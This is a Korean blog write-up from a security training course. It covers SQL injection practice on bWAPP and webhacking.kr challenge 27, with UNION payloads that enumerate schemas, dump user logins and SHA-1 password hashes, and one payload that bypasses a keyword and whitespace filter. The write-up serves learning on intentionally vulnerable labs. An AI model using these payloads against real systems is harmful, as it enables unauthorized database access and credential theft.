| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
- 악성코드 분석
- 동적분석
- 프랑스어 #프랑스어배우기 #프랑스어독학 #델프인강 #시원스쿨프랑스어 #delf독학 #델프 #프랑스어기초 #프랑스어공부
- 진입차수
- React
- Practical Malware Analysis Labs
- sk쉴더스 루키즈
- c
- 레나튜토리얼
- 우테코
- 우아한테크코스
- Dreamhack
- 서울청년문화패스
- SK쉴더스
- 깃
- webhacking
- 프리코스
- 루키즈 31기
- 위상 정렬
- 알고리즘
- 루키즈31기
- 백엔드
- 예술의 전당
- 코리안챔버오케스트라
- 애플리케이션 계층
- linux
- 자바
- SK쉴더스루키즈
- sk 쉴더스 루키즈
- 웹개발
- Today
- Total
yon11b
[SK 쉴더스 루키즈] SQL Injection 실습 bWAPP (GET/Search, POST/Select 문제, webhacking.kr 27번 write up) 본문
[SK 쉴더스 루키즈] SQL Injection 실습 bWAPP (GET/Search, POST/Select 문제, webhacking.kr 27번 write up)
yon11b 2026. 5. 7. 00:56bWAPP: SQL Injection (GET/Search) 문제
1. 취약점 확인
2. union으로 컬럼 개수 확인하기
3. 중요정보들 출력하기
4. 계정 pw 정보 알아내서 복호화하기
1. 취약점 확인
'을 입력하면 구문 에러가 나는 것을 확인할 수 있다.
2. union으로 컬럼 개수 확인하기
' union select 1,2,3,4,5,6,7 #

3. 중요정보들 출력하기
1. 기본 정보 출력
-1234' union select 1,database(),user(),@@version,@@datadir,6,7 #
예상되는 최종 SQL 결과
select * from movies where movie = '-1234' union select 1,database(),user(),@@version,@@datadir,6,7 #
movie 이름이 -1234 이런 건 없으니까 첫번째 select 문에 대한 값은 없다.
즉, 두번째 select 문에 대한 결과만 출력하게 되어 깔끔하게 볼 수 있다.

2. 보통 SQL Injection에서는 information_schema를 본다.
여기에 모든 db, table에 대한 정보들이 있기 때문이다.
-1234' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables #

users 테이블이 탐난다. 아마 저기에 계정 정보가 있을듯?
users 테이블을 까보자.
-1234' union select 1,column_name,table_name,4,table_schema,6,7 from information_schema.columns #

4. 계정 pw 정보 알아내서 복호화하기
-1234' union select 1,login,password,email,secret,6,7 from bWAPP.users #

password가 단순하다.

sha1으로 암호화되어있다.
SHA-1 복호화 사이트에서 복호화를 해준다.

비밀번호 알아내기 성공!
bWAPP: SQL Injection (POST/Select) 문제

post이기 때문에 중간에 burp suite로 잡아서 구문을 수정해주어야 한다.

Webhacking.kr 27번 문제

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
#, select, 공백, = 등은 막고 있다. -> exit('no hack')
우회하는 방법
1. 공백 우회 → 탭(%09), 개행(%0a), /**/ 등 사용 가능. 여기서는 %0a가 무난
2. = 우회 → like, in, <> 부정, </> 등으로 대체 가능. like가 가장 깔끔
주소창에 직접 입력해준다.
?no=0%29or%0aid%0alike%0a%27admin%27%3b%00
최종 SQL 구문으로는 이렇게 들어갈 것으로 예상된다.
select id from chall27 where id='guest' and no=(0)or
id
like
'admin';\0)

'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] Sqlmap & blind sql injection (0) | 2026.05.07 |
|---|---|
| [SK 쉴더스 루키즈] Cryptographic Failures 취약점(TLS 통신, robots.txt) (0) | 2026.05.07 |
| [SK 쉴더스 루키즈] XSS Injection 실습 (Stored XSS, Reflected XSS, BeEF-XSS) (0) | 2026.05.07 |
| [SK 쉴더스 루키즈] 공급망 보안 취약점 (0) | 2026.05.01 |
| [SK 쉴더스 루키즈] [DVWA] 파일 업로드 취약점 실습 (0) | 2026.05.01 |
